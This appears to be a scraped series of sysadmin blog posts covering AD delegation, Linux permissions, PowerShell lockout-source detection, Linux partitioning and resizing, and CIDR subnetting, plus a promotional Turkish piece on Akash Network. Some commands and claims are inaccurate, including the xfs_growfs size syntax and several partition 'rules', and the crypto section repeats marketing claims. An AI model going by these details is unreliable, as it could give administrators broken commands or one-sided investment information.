tasks. This way, administrative tasks can be performed more quickly and efficiently. For example, people working on the user help desk team can gain the authority to manage user accounts. *** For security reasons, I recommend that you be very careful when granting these permissions. #Informations- Granted permissions are valid only for the selected OU and Tree.- You can remove and edit permissions from the Security tab. The field shown in Picture is important. Checking the checkboxes gives the authorized user/group the [right] to create and delete the selected object subgroup. ##Frequently used Delegations####################################Authorization to create and delete users or groupsOU > delegate control > create & delete & manage user account ve create & delete & manage and force next logon and groupsUser account password reset authorizationOU > delegate control > Reset User Passwords and Force Password Change at Next LogonUser account Lock/Unlock authorizationOU > delegate control > Create a custom task to delegate > Select: User objects > Property-specific > Read check lockoutTime and Write lockoutTime boxesAuthorization User account enable/disableOU > delegate control > Create a custom task to delegate > Select: User objects > General & Property-specific > Read userAccountControl & Write userAccountControlAuthorization to add & remove clients to domain OU > delegate control > Create a custom task to delegate > Select Computer objects > Create selected objects in this folder and Delete selected objects in this folder checkbox > General and Creation/Deletion of specific child objects > Create All Child Objects and Delete All Child ObjectsAuthorization to create and delete new OU and subtreeOU > delegate control > Create a custom task to delegate > create and delete selected > Organizational Unit objects > General > create & delete child objectsAttribute Editing AuthorizationOU > delegate control > Create a custom task to delegate > Only the following objects in the folder > User objects > Uncheck General, Only check Property-specific > check Attribute NameAuthorization to Rename ComputersOU> delegate control > Create a custom task to delegate > Computer objects > > General & Property-specific > Checkbox Write All Properties##TheGuler0xYararlı Olması Dileğiyle. – Hope it will be useful. --- ## Linux Permissions Management [File and Directory] Link: https://farukguler.com/posts/linux-permissions/ Linux, as a multi-user operating system, provides comprehensive permission and authorization systems to ensure file and directory security. These permissions determine who can access files and directories and what types of operations this access covers. In this article, we will examine file and directory permissions in Linux in detail and with examples. #Ownership:Every file or directory is assigned (3) types of owner: Owner: the owner is the user who created the file or directory. Group: a group can have multiple users. All users in the group have the same permissions to access the file or directory. Other: other means those users who are not owners or members of the group. #Permission:There are only three (3) types of permissions for a file or directory: Read (r): can read the contents of a file. Can list files and directories. Write (w): the write permission allows the user to change the content of the file. Execute (x): the execute permission allows a file to be executed.  Types of files: - Regular (Normal) file d Directory b Special block file c Special character file l Symbolic link file P Special named pipe file s Socket file ✅Example: -rwxr-xr-- "manage.php" sudo ls -alh manage.php -rwxr-xr--1 root helpdesk580Jul 24 x.xmanage.php / lib -> usr/libtype:permission:connection:owner:group:size:last set:name/link: Permission rwx r-x r--Access Rights (Owner) (Group) (Others)– Regular (Normal) file phrase is removed in this table # Directory and File Permissions: [/ERP - manage.php ]chmod 750 /ERP # (permissions change)chmod 640 manage.php # ('')>>Change: (Owner) & (Group)chown zafer /ERP # (owner change)chown faruk manage.php # ('')chown faruk:helpdesk manage.php (owner+group change)chgrp helpdesk /ERP # (group change)chgrp zafer manage.php # ('')# Status: [/ERP - manage.php ]ls -alh [/ERP or manage.php]ls -ald /ERPls -ald manage.phpstat -c "%a %n" manage.php #Numeric# /ERP directory Perm:drwxr-x--- 2 root zafer 4096 Jul 30 12:08 /ERP/✦ (owner): Read, write and execute (rwx)✦ (group): Read and execute (r-x)✦ (others): No permissions (---)# manage.php file Perm:-rw-r----- 1 faruk faruk 0 Jul 29 06:55 manage.php✦ (owner): Can read and write (rw-) the file, but cannot execute it.✦ (group): The file can be read (r--), but cannot be executed or written.✦ (others): Cannot access the file at all (---)# Recursive Permissions:chmod -R 755 <dir> or <file>>Mass Recursive:find /path/to/directory -type f -exec chmod 644 {} \;find /path/to/directory -type d -exec chmod 755 {} \;# Change attribute: Immutable flag: (Lock/Unlock)#sudo chattr +i /etc/passwd#sudo chattr -i /etc/passwd#What is Umask?Umask (user file creation mode mask) is a command that controls the default permissions of newly created files and directories in Unix and Linux-based operating systems. umask determines which permissions are removed when a new file or directory is created. The umask setting lasts for the duration of the session and is lost when the shell is closed. You can make it permanent.For Files: The default permissions are set to 666 (rw-rw-rw-)For Directories: The default permissions are set to 777 (rwxrwxrwx)$umask #check$umask -S$umask 022 #Temporary change command#UMASK Persistent:sudo nano /etc/profile (only users)sudo nano /etc/bash.bashrc (all users) u file/directory ownerg Users in the same group as the file/directory ownero Other users than the file/directory ownera Everyones SUID bit (Set User ID) > Special Features SGID bit (Set Group ID) > Special Featuret STICKY bit > Special Feature+ Adding permission– Delete permission= Permission equalization (Removes other permissions for Access Rights)##Example: Granting access rights to [myscript.sh](owner) : rwx (7)(group) : r-x (5)(other) : –x (1)>Numeric:chmod 751 myscript.sh>Symbolic# chmod u + rwx myscript.sh# chmod g +r-x myscript.sh# chmod o +--x myscript.s ##File and Directory Permissions Examples: [Remove and Assign]Owner Execution Permission:chmod u+x myscript.shchmod u+x /ERPRemove read and write permissions for Group and Other:chmod go –rw myscript.shchmod go-rw /ERPRemove Write Permission for a Group:chmod g-w myscript.shchmod g-w /ERPGrant read permission to the owner and remove all other permissions:chmod u=r myscript.shchmod u=r /ERPRemove Other Read Permission:chmod o-r myscript.shchmod o-r /ERPGranting Execute permission to a Group:chmod g+x myscript.shchmod g+x /ERPRecursively Remove Read and Write Permission for Group and Other:chmod –R go-rw myscript.shchmod -R go-rw /ERP r-- → 4 r-x → 5 (4 + 1) rw- → 6 (4 + 2) rwx → 7 (4 + 2 + 1) 💡 You can also use File Manager tools to visually edit permissions. ACL (Access Control List) A feature used in Unix and Unix-like operating systems to control access to files and directories. ACLs provide more granular and flexible access control than basic file permissions. SELinux (Security-Enhanced Linux) SELinux (Security-Enhanced Linux) is a security module integrated with the Linux kernel. It was first developed by the US National Security Agency (NSA) and released as open source. SELinux provides more detailed and configurable access control to increase security in Linux operating systems. https://tr.wikipedia.org/wiki/SELinux Stay hungry to be learn --- ## Detecting the source of locked AD accounts Link: https://farukguler.com/posts/detecting-the-source-of-locked-ad-accounts/ Informational summary Incorrect password attempts exceeding the account lockout threshold in a domain results in the user account being locked out, with event ID 4740 recorded in the Security log of domain controllers. If audit logging is enabled on client computers, event ID 4625 is also recorded. The event log provides valuable information like user account name, domain controller name, source computer name, timestamp, etc. For large AD environments, querying domain controllers first to find the source computer's details is more practical than querying all client computers. Expand the Security Log size Increasing the Security log size on a domain controller is recommended for large AD environments. The default size is 128 MB, leading to automatic overwriting of old events when full. To identify account lockout sources, adjust the log size through modifying the default domain controller policy. Audit logging enabled. Enable audit logging on domain controllers by modifying the default domain controller policy as follows: Log on to any domain controller and launch the Group Policy ManageConsole gpmc.msc Navigate to Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Account Management. Now enable the Audit User Account Management subcategory for Success and Failure, as shown in the screenshot below: If event ID 4740 is missing on domain controllers, Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Account Logon. Event ID 4771 shows source IP of failed Kerberos authentication with pre-authentication failure. Audit logging enabled. Modify domain policy for audit logging on clients. Navigate to Computer Configuration > Policies > Windows Settings > Security Settings > Advanced Audit Policy Configuration > Audit Policies > Logon/Logoff. Now enable Audit Account Lockout, Audit Logoff, Audit Logon, and Audit Other Logon/Logoff Events, as shown in the following screenshot: Detecting lockout Auditing is enabled on domain controllers and client computers. Account lockouts are processed on the PDC emulator role holder. Use PowerShell command to determine the PDC role holder in the domain. (Get-ADDomain).PDCEmulator Get events using PowerShell code snippet: # Getting the PDC emulator DC$pdc = (Get-ADDomain).PDCEmulator# Creating filter criteria for events$filterHash = @{LogName = "Security"; Id = 4740; StartTime = (Get-Date).AddDays(-1)}# Getting lockout events from the PDC emulator$lockoutEvents = Get-WinEvent -ComputerName $pdc -FilterHashTable $filterHash -ErrorAction SilentlyContinue# Building output based on advanced properties$lockoutEvents | Select @{Name = "LockedUser"; Expression = {$_.Properties[0].Value}}, ` @{Name = "SourceComputer"; Expression = {$_.Properties[1].Value}}, ` @{Name = "DomainController"; Expression = {$_.Properties[4].Value}}, TimeCreated Filter criteria were set to search for event ID 4740 in the Security log within the last 24 hours. Get-WinEvent cmdlet was utilized to extract logs based on the filter hash. Calculated properties were used to generate output with locked-out user name, source computer name, DC name, and timestamp of the event creation. More details on these properties will be provided later. Query source computer for events with ID 4625 to identify process causing account lockout. Review updated code snippet: # Creating filter criteria for events$filterHash = @{LogName = "Security"; Id = 4625; StartTime = (Get-Date).AddDays(-1)}# Getting lockout events from the source computer$lockoutEvents = Get-WinEvent -ComputerName WRK-NODE0051 -FilterHashTable $filterHash -MaxEvents 1 -ErrorAction 0# Building output based on advanced properties$lockoutEvents | Select @{Name = "LockedUserName"; Expression = {$_.Properties[5].Value}}, ` @{Name = "LogonType"; Expression = {$_.Properties[10].Value}}, ` @{Name = "LogonProcessName"; Expression = {$_.Properties[11].Value}}, ` @{Name = "ProcessName"; Expression = {$_.Properties[18].Value}} The screenshot displays LogonProcessName as User32, ProcessName as svchost.exe, and LogonType as 2, indicating an interactive logon attempt. The user entered a wrong password, resulting in the account being locked out. LogonType field has various possible values Logon Type Title Description2 Interactive An interactive logon to a local computer.3 Network A logon from the network to a local computer.4 Batch A batch logon type means a process is executed on behalf of a user account.5 Service A service was started by a service control manager.7 Unlock A local workstation is unlocked.8 NetworkCleartext A user logged on to a local computer from the network, and the password was passed in cleartext.9 NewCredentials A cloned token was used so the new session has the same user identity locally but uses a different credential for remote network connections. This logon type is recorded when you use RunAs with the /netonly switch.10 RemoteInteractive A user was logged on using Remote Desktop or Terminal Services.11 CachedInteractive A user was logged on using cached credentials without contacting the domain controller to verify credentials. The LogonType field helps identify the cause of account lockouts. The properties used to create the output are defined in the security auditing XML template of event logs. To access these properties, use a specific command. ((Get-WinEvent -ListProvider "Microsoft-Windows-Security-Auditing").events | Where -Property ID -eq 4625).template Properties of XML template in event logs understanding. The Get-WinEvent cmdlet in the snippet stored properties in an array and accessed them by index number. For instance, to retrieve the target username from the event log property, {$_.properties[5].value} was used as it was at index 5. Similarly, for logon type, {$_.properties[10].value} was used. This method was also applied to event ID Thanks to: Surender Kumar/4sysops --- ## Akash Network (AKT) Nedir? Link: https://farukguler.com/posts/akash-network-akt-nedir/ Akash Network (AKT), sadece bir blockchain değil; o, devrim niteliğinde bir merkeziyetsiz bulut bilişim (DeCloud - Decentralized Cloud) pazaryeridir. Temel amacı, Amazon Web Services (AWS), Google Cloud (GCP) ve Microsoft Azure gibi dev merkezi bulut sağlayıcılarına açık kaynaklı, izinsiz (permissionless) ve çok daha ucuz bir alternatif sunmaktır. Akash, Cosmos SDK üzerine kurulu bir Layer 1 blockchain’dir ve AKT token’ı, bu ağın çalışmasını sağlayan, güvenliğini temin eden ve pazaryerindeki işlemleri kolaylaştıran yerel (native) kripto para birimidir. Projenin vizyonu, dünya çapında kullanılmayan (underutilized) devasa sunucu kapasitesini (veri merkezlerinden bireysel bilgisayarlara kadar) bir araya getirerek, herkesin bulut bilişim kaynaklarını kiralamasını (Tenants/Kiracılar) veya kiraya vermesini (Providers/Sağlayıcılar) sağlayan açık bir platform oluşturmaktır. Akash’ın Çözdüğü Problem: Merkezi Bulutun Kısıtlamaları Geleneksel bulut bilişim pazarı, birkaç dev teknoloji şirketi tarafından domine edilmektedir. Bu durum birkaç temel soruna yol açar: Yüksek Maliyetler: Bu devler, pazar hakimiyetlerini kullanarak genellikle yüksek fiyatlar belirlerler. Satıcı Kilitlenmesi (Vendor Lock-in): Bir sağlayıcıya bağımlı hale gelmek, başka bir sağlayıcıya geçişi zor ve maliyetli hale getirebilir. Sansür Riski ve İzin Gerektirme: Merkezi sağlayıcılar, politik nedenlerle veya kendi hizmet şartlarına aykırı buldukları uygulamaları barındırmayı reddedebilir veya kapatabilirler. Verimsizlik: Dünya çapında milyonlarca sunucunun işlem gücü tam olarak kullanılmamaktadır. Akash, bu sorunları, Airbnb’nin boş odaları veya Uber’in boş araba koltuklarını bir pazaryerine dönüştürmesi gibi, boşta duran işlem gücünü (compute resources) merkeziyetsiz bir pazaryerine taşıyarak çözer. Akash Pazaryeri Nasıl Çalışır? (Ters Açık Artırma) Akash’ın kalbi, bulut kaynaklarına ihtiyaç duyanlar (Kiracılar) ile bu kaynakları sunanlar (Sağlayıcılar) arasındaki etkileşimi yöneten eşler arası (P2P) pazaryeridir. Kiracı (Tenant) İhtiyacı: Bir geliştirici veya şirket, uygulamasını çalıştırmak için belirli kaynaklara (örn. 4 CPU, 8GB RAM, 100GB depolama) ihtiyaç duyar. Dağıtım Tanımı (SDL): Kiracı, bu ihtiyaçlarını SDL (Stack Definition Language) adı verilen basit bir konfigürasyon dosyasıyla tanımlar ve ağa bir “sipariş” (deployment request) gönderir. Bu siparişte, ödemek istediği maksimum fiyatı da belirtir. Sağlayıcı (Provider) Teklifleri (Ters Açık Artırma): Ağdaki Sağlayıcılar (veri merkezleri, hatta bireysel sunucu sahipleri), bu siparişi görürler. Kiracının istediği kaynakları sunabilen sağlayıcılar, bu işi almak için birbirleriyle rekabet ederek fiyat teklifi verirler. Kilit nokta burasıdır: Sağlayıcılar, kiracının maksimum fiyatından daha düşük bir fiyat teklif ederler. En düşük teklifi veren sağlayıcı işi kazanır. Buna “Ters Açık Artırma” (Reverse Auction) denir. Dağıtım (Deployment): Kiracı en uygun teklifi seçer, ödemeyi (genellikle AKT ile) yapar ve uygulaması seçilen sağlayıcının sunucusunda otomatik olarak (genellikle Docker konteynerları kullanılarak) çalışmaya başlar. Akash’ın Temel Avantajları Maliyet Verimliliği: Ters açık artırma modeli ve kullanılmayan kaynakların değerlendirilmesi sayesinde Akash, merkezi bulut sağlayıcılarına kıyasla %85’e varan oranlarda daha ucuz olabileceğini iddia eder. İzinsiz ve Sansüre Dayanıklı: Herkes ağa kaynak sağlayabilir veya kiralayabilir. Merkezi bir otoritenin uygulamaları engellemesi veya kapatması çok daha zordur. Esneklik: Kullanıcılar belirli bir sağlayıcıya kilitlenmezler. Farklı sağlayıcılar arasında kolayca geçiş yapabilirler. Küresel Dağıtım: Uygulamalarınızı dünya çapında dağılmış binlerce sağlayıcı üzerinde çalıştırabilirsiniz. GPU Pazaryeri (AI/ML Odaklı): Akash, özellikle yapay zeka (AI) ve makine öğrenimi (ML) iş yükleri için kritik olan GPU (Grafik İşlemci) kaynakları için de büyüyen bir pazaryeri sunar. Nvidia H100 ve A100 gibi yüksek performanslı GPU’ları merkezi sağlayıcılardan çok daha ucuza kiralamak mümkündür. AKT Token’ı Ne İşe Yarar? (Ekonomik Motor) (DeCloud) AKT, Akash Network’ün güvenliğini, yönetişimini ve ekonomik işleyişini sağlayan temel varlıktır. Maksimum arzı ~389 Milyon AKT ile sınırlandırılmıştır (enflasyon modeli zamanla azalır). Ağ Güvenliği (Staking): Akash, bir Proof-of-Stake (PoS) ağıdır. Ağın güvenliğini sağlamak için doğrulayıcıların (validators) AKT stake etmesi gerekir. AKT sahipleri de token’larını güvendikleri bir doğrulayıcıya devrederek (delegating) pasif gelir (staking ödülleri) elde edebilirler. Yönetişim (Governance): AKT sahipleri, ağın geleceği hakkında (protokol güncellemeleri, parametre değişiklikleri, hazine harcamaları) oy kullanarak yönetimde söz sahibi olurlar. Değer Değişimi ve Kiralama Teşviki (Settlement Currency): Akash pazaryerindeki kiralamalar (leases) için varsayılan ödeme ve yerleşim para birimi AKT’dir. Kiracılar, sağlayıcılara ödemeyi AKT ile yapar (veya USDC gibi stablecoin’lerle ödeme yapıp arka planda AKT’ye dönüştürülür). Sağlayıcılar, daha fazla kiracı çekmek için teşvik olarak AKT stake edebilirler. Ağ, gerçekleşen kiralamalardan küçük bir “Take Rate” (Komisyon) alır ve bu gelir, AKT staker’larına dağıtılır. Bu, AKT’ye doğrudan bir “kullanım değeri” (utility) ve “gerçek gelir” (real yield) kazandırır. Akash Network (AKT), bulut bilişim endüstrisini kökten değiştirme potansiyeline sahip, son derece yenilikçi bir projedir. Merkezi devlere karşı daha açık, daha ucuz ve daha dirençli bir alternatif sunarak, hem bireysel geliştiriciler hem de büyük kuruluşlar için yeni olanaklar yaratmaktadır. Özellikle yapay zeka ve makine öğrenimi gibi yoğun işlem gücü gerektiren alanlardaki büyüme göz önüne alındığında, Akash’ın sunduğu merkeziyetsiz GPU pazaryeri, onu Web3’ün temel altyapı taşlarından biri haline getirebilir. --- ## Standard Partitions Install, Configure, Manage Part-1 Link: https://farukguler.com/posts/standard-partitions-install-configure-manage/ It enables efficient disk and volume management, data storage and access operations in Linux operating systems. This process enables system administrators and users to make the best use of disk space, plan ahead, ensure data security and increase performance. Disk and volume management, partitioning of disks, creation of file systems, logical volume management (LVM), (RAID) configurations, etc. It includes various operations such as. 📁File Systems: Ext4: It is an updated version of the ext3 file system. The most widely used Linux file system today. Ext3: It is an updated version of the ext2 file system. Provides backward compatibility. Ext2: A legacy file system for Linux, with basic features. Btrfs: A modern file system with high performance and scalable features. XFS: A file system used for large data storage and systems requiring high performance. JFS: A journal file system developed by IBM. ZFS: A file system known for its high data integrity, data compression, and snapshot features. .etc Comparative: ext4, xfs, btrfs Major Basic components of file system structure: Superblock: contains information about the partition, starting and ending addresses, empty block table, inode table, root (/) directory index number. (the inode number of the root directory is always 2) Inode (file node): Contains file permission information, owner information and the addresses of data blocks belonging to the file. They do not contain file names. Additionally, if the file is in use, it is placed in lock status. i.e. filemetadata is kept in the file node. Datablock: It is the part where the data of the files is stored. Directories: They are special files. They hold the inode numbers and names of the files and directories under them. They are kept in the Datablock (data) section of the disk. (normal file datablocks hold file data, but directoriesdatablocks keep the names and inode numbers of the directories and files under them.) 🛢️🛢️ Disks and Partitions: In Linux, disks are physical devices that represent storage space. In Linux, disks and partitions are often referred to by representatives such as /dev/sdXY, where "X" is a letter or "Y" is a number. In short, it refers to the Y partition of the X disk. /dev/sdc4 = partition 4 of disk c /dev/nvme0n1p2 = 2nd partition of 1st NVMe disk .etc lsblk -pNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTSsda 8:0 0 280G 0 disk sdb 8:16 0 100G 0 disk ├─sdb1 8:17 0 1M 0 part ├─sdb2 8:18 0 513M 0 part /boot/efi└─sdb3 8:19 0 9,5G 0 part /var/snap/firefox/ /sdc 8:32 0 50G 0 disk ├─sdc1 8:33 0 1M 0 part ├─sdc2 8:34 0 513M 0 part └─sdc3 8:35 0 4,5G 0 part ├─vgubuntu-root /storage/logs │ 253:0 0 4G 0 lvm └─vgubuntu-swap_1 /storage/www 253:1 0 504M 0 lvm sdd 8:48 0 300G 0 disk sde 8:64 0 325G 0 disk nvme0n1 259:0 0 500G 0 disk #In this command output, the connected disks and partitions in the system# 5 sd (SATA(Serial Advanced Technology Attachment)# 1 NVMe(Non-Volatile Memory Express) 📜Tutorials / Information: ⦁ Disks can be divided into partitions.⦁ Partitions are logical sections within a disk. Each section can be formatted with a separate file format.⦁ Formatting must be done separately for each partition after partitioning. otherwise you will lose all partitions.⦁ If Linux systems do not have LVM (Logical Volume Manager), standard partitions are used by default.⦁ Discs always expand to the right.⦁ The disk is set to GPT (1-128), you can create 128 partitions.⦁ LVM Management will place the /boot partition in the first sector.⦁ In best practice, /boot and /swap should be placed in the first sector.⦁ The created file systems (xfs, ext3, ext4, ntfs .etc) require a partition. It is mandatory to use these partitions.⦁ It is a safer approach to mount the UUID of the fstab /boot partition.⦁ Expanding and reducing the partition can be done Online/Offline.⦁ To reduce the partition, the File system must be minimized first. (reverse process of expansion)⦁ If enlarging a file system is to be done, it should first start from the partition.⦁ The file system cannot be enlarged without enlarging the partition⦁ The "parted" or cfdisk" tool can be used to expand the partition.⦁ Actually no resize partition option in fdisk tool! (year 2024)⦁ "e2fsck" checker should be used before reducing the partition.⦁ xfs file system can be expanded but not reducing!! (year 2024)⦁ Disk reducing is not recommended. If the reducing is greater than the disk capacity, you will lose data!!⦁ There are two types of disks used in the Linux world. Active partitions and Logical partitions⦁ The active partition must be primary.⦁ "Primary partitions" "can be active partition"⦁ "Extended partition" will not be an active partition⦁ The NTFS disk format can be used for dual booting on a Linux system.⦁ To repair the file system with e2fsck, the file system must be unmounted.⦁⦁ 🧰Disk Tools: - Fdisk: Used to create and manage disk partitions.- Cfdisk: To list your disks, create, delete or edit partitions.- Parted: A command line tool used to create, edit and manage disk partitions.- Gdisk: Performs partition creation and management operations on GPT-based disks.- Gparted: GParted (GNOME Partition Editor) is an open-source graphical tool for managing disk partitions.- KDE Partition Manager: It is a powerful and easy-to-use tool used to manage disk partitions, running in the KDE desktop environment.- 🧱Disk Partitioning Style: There are generally two (2) styles for disk partitioning.MBR (Master Boot Record) and GPT (GUID Partition Table) >> MBR: Max: 2 TB4 primary and 1 extended partitions can be created.>> GPT: Max: 9.44 ZB (9.4 BILLION TERABABYTES)128 primary partitions can be created. There is no extended partition. 💾⚙️ Standard Partitions: [Install, Configure] Standard disk configuration in Linux usually includes standard partitions. This configuration divides the hard disk into physically separated partitions and formats each as a separate file system. If Linux systems do not have LVM (Logical Volume Manager), standard partitions are used by default. Standard partitions are used to separate physical disk spaces of a certain size and format each with a separate file system. These partitions may be directories containing system files or user data, such as /boot, /home, /var .etc. 👨🏼‍💻 Standard Partitions: [Manage] ##System: RHELL / Centos--------------------------------------------|#[Standard Partitions] Install, Configure:--------------------------------------------|### Disk Configuration ####Disk/Directory Status:sudo du -hla /storage/logsudo du -hla --max-depth=1 / | sort -h#Check Status:ls -l /dev/sd*df -Thlsblk -psudo fdisk -l#Check the disk added to the system: (SCSI or NVMe)ls /sys/class/scsi_host/echo "- - -" | tee /sys/class/scsi_host/host*/scanecho "1" > /sys/class/block/sda/device/rescan##Disk Partitioning##1- #Using Fdisk: [sdb1, nvme0n2, ...]sudo fdisk /dev/nvme0n22- #Using Cfdisk: [sdb1, nvme0n2, ...]sudo cfdisk /dev/nvme0n23- #Using Parted: [sdb1, nvme0n2, ...]sudo parted /dev/nvme0n2Welcome to fdisk (util-linux 2.37.4).Changes will remain in memory only, until you decide to write them.Be careful before using the write command.Command (m for help):m - print this help menu:n - add a new partition:p - print the partition table:Create a new label g - create a new empty GPT partition table [1-128 Partitions] G - create a new empty SGI (IRIX) partition table o - create a new empty DOS partition table s - create a new empty Sun partition tablePartition type p primary (0 primary, 0 extended, 4 free) [Max 4 pieces] e extended (container for logical partitionsSelect (default p):[Unlimited]*Specify the starting and ending sectors. You can use 100% of all unallocated space.*Disk type will be [Linux] by default.*To change this, use the [t] command.*Specify the partition type and number we want to change.#Write the changes to disk. [Attention!]t - Change partition type:L - List partition type:8e - Set/change partition type:#w - Write changes to disk:p - List disk partitions:q - Exit from fdisk tool:#Introduce disk changes to the kernel:partprobe -sDisk/Partition Status:sudo file -sL /dev/nvme0n2sudo blkid /dev/repo_vg/logs1- Disk, Partition Formatting [Ext3/Ext4]: (sdb1,nvme0n2p1, ..)#sudo mkfs -t ext4 /dev/nvme0n2#sudo mkfs -t ext4 /dev/nvme0n2p12- Disk, Partition Formatting [Xfs]: (sdb1,nvme0n2p1, ...)#sudo mkfs -t xfs /dev/nvme0n2#sudo mkfs -t xfs /dev/nvme0n2p1#Folder Ops.:sudo mkdir /alansudo mkdir -p /alan/hodl-77/xxx (sub tree)#Mount & Umount Ops.:sudo mount /dev/nvme0n2p1 /alansudo umount /dev/nvme0n2p1 /alansudo umount -l /dev/nvme0n2p1 /alan#fstab edit: (Persistence)sudo cp /etc/fstab /etc/fstab.oldcat /etc/fstab#nano /etc/fstab#/dev/nvme0n2p1 /alan ext4 defaults 0 0sudo mount -avsudo findmnt --verifysudo systemctl daemon-reload #Expand the size of the volume: ⦁ 📜Tutorials / Information: #Reduce the size of the volume: ⦁ The partition can be reducing after the file system is reduce. (reverse process of expansion) ⚠️ Be careful and "back up" your data before these operations. Misconfiguration may result in "System crashes" and "Data loss"! -------------------------------------------------------------------|#[Standard Partitions] Manage: Extend and Reduce **Online/Offline-------------------------------------------------------------------|##>>A +Extend Operation###Check for errors with fsck:sudo e2fsck -ff -v /dev/nvme0n2p1sudo e2fsck -f /dev/nvme0n2p1#A1 -First size Extend the Partition:Fdisk tool:Parted or Cdisk tool:df -Th#A2 -Later size Extend the File System:⦁If you are using Ext3/Ext4: (resize2fs) [Online]#sudo resize2fs /dev/nvme0n2p1 [%100]#sudo resize2fs /dev/nvme0n2p1 18G [spesific]df -Th⦁If you are using Xfs: (xfs_growfs) [Online]#sudo xfs_growfs -d /dev/nvme0n2p1 [%100]#sudo xfs_growfs /dev/nvme0n2p1 18G [spesific]df -Th##>>B +Reducing Operation ## (only Ext3/Ext4, not Xfs)#If you shrink more than the disk data, you will lose data!#Check for errors with fsck:sudo e2fsck -ff -v /dev/nvme0n2p1sudo e2fsck -f /dev/nvme0n2p1#B1 First size the File System: (Reverse)⦁If you are using Ext3/Ext4: (resize2fs) [Offline]sudo umount /dev/nvme0n2p1 /alan [umount]sudo e2fsck -f /dev/nvme0n2p1#sudo resize2fs /dev/nvme0n2p1 17G [spesific size]sudo mount /dev/nvme0n2p1 /alan [try mount]df -Th 🔄Data/Disk Migration and Disaster Recovery: Data migration or copying is used to [Completely] transfer our existing data from old disk to a new disk. We typically perform these types of migrations when an error or malfunction occurs in the disks or when our storage requirements change. It is an abbreviation for “dd” (disk dump) and is a command used in Unix and Unix-like operating systems. It is a powerful and flexible tool that basically reads/writes [block-by-block] from files or devices. There is also SSH support to transfer data with the remote server. It is used to write iso images and bootable USBs or to create disk images. dd tool:#dd if=/dev/sda of=/dev/nvme0n2 status=progress conv=fsync#dd if=recovery-14.img of=rec-14.tar status=progress conv=fsync ☢️✅ Disaster Recovery: Disk system disasters can cause serious problems in operating systems. These disasters usually occur in the form of data loss, file system corruption, or system crash. 💡 If you do not have an additional disk or are just focused on your data, you can access your data using 3rd party live disk/CD images, move it to an external area and try to recover it. 💡 The faulty partition/data be copied from the old disk to the new disk using "dd" (disk dump) and then the necessary configuration should be made on "fstab". On exit you should verify fstab and remove errors. You can then remove the faulty disk from the system. If the disk is removed from the system or the system is rebooted before the errors are resolved, it may not boot. You may need to use an external live disk image. 💡 It is recommended to always format the [/boot] partition with the [Ext] file system. This is because Ext file system support is available in the Linux Kernel. Other file systems (LVM, XFS, BTRS, etc.) come as modules and are located in the [/lib] directory. root@ubuntu-siemnode4:~# lsblk -fsda├─sda1└─sda2 LVM2_member xxx-xxx-xxx-xxx-xxx └─/dev/repo_vg/logs ext4 xxx-xxx-xxx-xxx-xxx 580.4G 37% /LOGSsdb├─/dev/sdb1├─/dev/sdb2 ext4 xxx-xxx-xxx-xxx-xxx 4.8GB 11% /bootroot@ubuntu-siemnode4:~# fstab Configuration: # /etc/fstab: static file system information.# <file system> <mount point> <type> <options> <dump> <pass># / was on /dev/ubuntu-vg/ubuntu-lv during curtin installation/dev/repo_vg/logs / ext4 defaults 0 1# /boot was on /dev/sda2 during curtin installation/dev/disk/by-uuid/xxx-xxx-xxx-xxx-xxx /boot ext4 defaults 0 1fstab verifying:sudo cp /etc/fstab /etc/fstab.oldsudo mount -avsudo findmnt --verifyudo systemctl daemon-reload ##The same rules apply other systems.⦁ Debian / Ubuntu⦁ Slackware⦁ Arch Linux End of chapter 1 – Best Regards… --- ## CIDR and IP Subnetting Link: https://farukguler.com/posts/cidr-and-ip-subnetting/ Günümüz ağ yapıları, büyüklüğüne ve karmaşıklığına rağmen verimli bir şekilde yönetilmelidir. Bu Makalede, IP adresleme ve ağ yönetimi için kullanılan iki temel kavram olan CIDR ve IP Subnetting'in ne olduğunu, nasıl çalıştığını ve ağlar üzerindeki etkilerini inceleyeceğiz. İlk olarak, IP adresi Network ve Host olmak üzere iki bölümden oluşmaktadır. # IPv4:Tanım: Noktalarla ayrılmış 4 sayı olarak yazılan 32 bitlik sayısal bir adrestir.Octet: Noktalarla ayrılmış her sayı grubuna octet (sekizlik) denir. Her octet’in sayı aralığı 0–255 arasındadır.Örnek: 192.168.1.1 # IPv6:Tanım: İki nokta üst üste ile ayrılmış 8 grup olarak yazılan 128 bitlik sayısal bir adrestir.Grup: Her grup 16 bitlik hexadecimal (onaltılık) sayılardan oluşur ve bu gruplara hextet denir. Her hextet’in sayı aralığı 0–FFFF (hexadecimal) arasındadır.Örnek: 2001:0db8:85a3:0000:0000:8a2e:0370:7334 💊 CIDR(Classless Inter-Domain Routing) Nedir?CIDR, Subnet Mask'ın daha net ve anlaşılır bir biçimde gösterimidir. IP adreslerini ve ağları verimli bir şekilde bölmek için kullanılır.CIDR, IP adresinin sonuna eklenen bir eğik çizgi ve sayı ile gösterilir. [/*]Bu sayı, ağın kaç bitlik kısmının ağ adresi olduğunu veya bit’lerin soldan sağa kaç tanesinin 1 olduğunu gösterir. Örnek:10.5.83.0/24 Buradaki "/24" IP adresinin ilk 24 biti Ağ, kalan 8 biti ise Hostlar için kullanılır. | CIDR | Binary | Decimal/8 => 11111111.00000000.00000000.00000000 --> 255.0.0.0--/24 => 11111111.11111111.11111111.00000000 --> 255.255.255.0/25 => 11111111.11111111.11111111.10000000 --> 255.255.255.128/26 => 11111111.11111111.11111111.11000000 --> 255.255.255.192----## Buradaki "1" ler network'ü temsil ederken "0" lar hostları temsil eder. Subnet MaskDecimalWildcardDecimal00000000025511111111128100000001270111111119211000000630011111122411100000310001111124011110000150000111124811111000700000111252111111003000000112541111111010000000125511111111000000000 😷 Subnet Mask/Netmask Nedir?Subnet Mask bir IP adresi için bir tür filtre işlevi görür. Cihazlar bir alt ağ maskesiyle, bir IP adresine bakabilir ve hangi kısımların ağ bitleri ve hangilerinin ana bilgisayar bitleri olduğunu anlayabilir. Daha sonra bunları kullanarak, diğer cihazlarla iletişim kurmanın yolunu bulmaya çalışır. >Subnet Mask neden gerekli?Neden Subnet'lere ihtiyaç duyarız tek bir ağ yeterli olmaz mı? Çok sayıda cihazın bulunduğu devasa ağ hayal edelim, bir bilgisayar diğer cihazlarla iletişim kurması gerektiğinde, ona ulaşmak için bir yayın (broadcast) kullanır. Ağdaki tüm cihazlara yapılan bu çağrı trafik oluşturarak ağı yavaşlatır. En büyük nedeni 